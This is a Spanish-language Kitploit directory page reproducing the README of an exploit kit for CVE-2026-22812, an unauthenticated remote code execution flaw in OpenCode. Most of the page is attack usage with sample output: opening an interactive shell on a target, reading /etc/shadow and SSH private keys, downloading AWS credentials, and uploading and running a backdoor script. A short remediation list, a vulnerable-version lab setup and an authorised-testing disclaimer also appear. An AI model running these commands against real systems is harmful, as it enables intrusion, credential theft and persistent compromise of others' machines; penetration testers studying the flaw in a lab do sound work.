Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-22812-exploit — Kit de explotación para CVE-2026-22812 (RCE no autenticado en OpenCode) que proporciona shell interactiva, ejecución arbitraria de comandos, carga/descarga de archivos y enumeración del sistema para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/rohmatariow/cve-2026-22812-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubrohmatariow/cve-2026-22812-exploit

CVE-2026-22812-exploit

Kit de explotación para CVE-2026-22812 (RCE no autenticado en OpenCode) que proporciona shell interactiva, ejecución arbitraria de comandos, carga/descarga de archivos y enumeración del sistema para pruebas de seguridad autorizadas.

Ver Repositorio
336hace 7 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Herramienta de Explotación CVE-2026-22812

Python CVSS

Kit de explotación completo para CVE-2026-22812 - RCE no autenticado en OpenCode


🎯 Descripción general

La Herramienta de Explotación CVE-2026-22812 es un framework de explotación integral para la vulnerabilidad de ejecución remota de código no autenticada en OpenCode. Esta herramienta proporciona múltiples métodos de explotación, incluidos shell interactivo, operaciones con archivos y enumeración del sistema.

Detalles de la vulnerabilidad

  • ID de CVE: CVE-2026-22812
  • Afecta a: OpenCode < 1.0.216
  • Puntuación CVSS: 8.8 (Alta)
  • Vector de ataque: Red
  • Autenticación: No se requiere
  • Impacto: Compromiso total del sistema

✨ Características

🔓 Capacidades de explotación

  • ✅ Creación de sesión no autenticada
  • ✅ Ejecución arbitraria de comandos (RCE)
  • ✅ Shell interactivo con historial de comandos
  • ✅ Subida/Descarga de archivos
  • ✅ Lectura arbitraria de archivos
  • ✅ Creación de sesión PTY
  • ✅ Enumeración del sistema
  • ✅ Soporte de proxy (compatible con Burp Suite)

📦 Instalación

Requisitos previos

  • Python 3.7+
  • pip
  • Biblioteca requests

Instalación rápida

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit

# Instalar dependencias
pip3 install -r requirements.txt

Instalación manual

root@kitploit:~
pip3 install requests urllib3

🚀 Uso

Explotación básica

1. Verificar si el objetivo es vulnerable

root@kitploit:~
python3 exploit.py -t http://192.168.1.10:4096 --verify

Salida:

root@kitploit:~
[+] ¡El objetivo es VULNERABLE a CVE-2026-22812!
[+] ID de sesión: abc123def456

2. Ejecutar un solo comando

root@kitploit:~
python3 exploit.py -t http://192.168.1.10:4096 -c "id"

Salida:

root@kitploit:~
[*] Creando sesión...
[+] Sesión creada: abc123def456
[+] ¡El objetivo es VULNERABLE!

[*] Ejecutando: id
[+] Comando ejecutado correctamente

uid=1000(developer) gid=1000(developer) groups=1000(developer)

3. Modo shell interactivo

root@kitploit:~
python3 exploit.py -t http://192.168.1.10:4096 -i

Sesión interactiva:

root@kitploit:~
[+] Sesión creada: abc123def456
[+] ¡El objetivo es VULNERABLE!

[*] Entrando en modo shell interactivo
[!] Escribe 'help' para ver los comandos, 'exit' para salir

developer@target$ whoami
developer

developer@target$ pwd
/home/developer/workspace

developer@target$ ls -la
total 48
drwxr-xr-x  8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x  3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r--  1 developer developer  220 Jan 15 09:20 .bash_logout
...

developer@target$ read /etc/hostname
[*] Leyendo archivo: /etc/hostname
[+] Archivo leído correctamente (10 bytes)
dev-server-01

developer@target$ exit
[*] Saliendo...

📚 Uso detallado

Ejecución de comandos

root@kitploit:~
# Comando único
python3 exploit.py -t http://target:4096 -c "whoami"

# Comando complejo
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"

# Múltiples comandos
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"

Operaciones con archivos

Leer archivos

root@kitploit:~
# Leer archivos sensibles
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa

Subir archivos

root@kitploit:~
# Subir script de shell
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh

# Subir binario
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload

# Subir con ejecución
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"

Descargar archivos

root@kitploit:~
# Descargar configuración
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt

# Descargar credenciales
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt

# Descargar código fuente
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json

Enumeración del sistema

root@kitploit:~
# Recopilar información del sistema
python3 exploit.py -t http://target:4096 --sysinfo

Salida:

root@kitploit:~
{
  "hostname": "dev-server-01",
  "username": "developer",
  "user_id": "uid=1000(developer) gid=1000(developer)",
  "current_dir": "/home/developer/workspace",
  "kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
  "os_release": "Ubuntu 22.04.3 LTS",
  "ip_address": "192.168.1.10",
  "processes": "..."
}

Remediación

  1. Actualizar de inmediato: npm install -g opencode-ai@latest
  2. Terminar procesos: pkill -f opencode
  3. Revisar registros: Revisar los registros del sistema en busca de indicadores de compromiso
  4. Rotar credenciales: Cambiar contraseñas, claves SSH
  5. Auditar sistemas: Buscar puertas traseras

🧪 Configuración del laboratorio de pruebas

Usando Docker (Recomendado)

root@kitploit:~
# Dockerfile para OpenCode vulnerable
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]
root@kitploit:~
# Compilar y ejecutar
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln

# Probar el exploit
python3 exploit.py -t http://localhost:4096 -i

Configuración manual

root@kitploit:~
# Instalar versión vulnerable
npm install -g [email protected]

# Iniciar OpenCode
opencode

# En otra terminal, ejecutar el exploit
python3 exploit.py -t http://localhost:4096 --verify

⚠️ ¡Nunca implemente versiones vulnerables en producción!


📚 Referencias

Información de la vulnerabilidad

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-22812
  • Aviso de GitHub: https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh
  • MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22812=

⚠️ Aviso legal

LEA CON ATENCIÓN

Esta herramienta se proporciona SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS.

❌ Uso prohibido

  • Acceso no autorizado a sistemas
  • Escaneo sin permiso
  • Cualquier actividad ilegal
  • Fines maliciosos
  • Sistemas de producción sin autorización

Aviso legal

Los autores:

  • NO aprueban el uso ilegal
  • NO son responsables del mal uso
  • NO apoyarán actividades ilegales
  • NO ASUMEN NINGUNA RESPONSABILIDAD

Al usar esta herramienta, usted acepta:

  • Obtener la autorización adecuada
  • Cumplir con todas las leyes
  • Aceptar la responsabilidad total
  • Usarla de forma ética y responsable

ÚSELA BAJO SU PROPIO RIESGO


⭐ ¡Da una estrella si te resulta útil! ⭐
Solo para pruebas de seguridad autorizadas

Descargar herramienta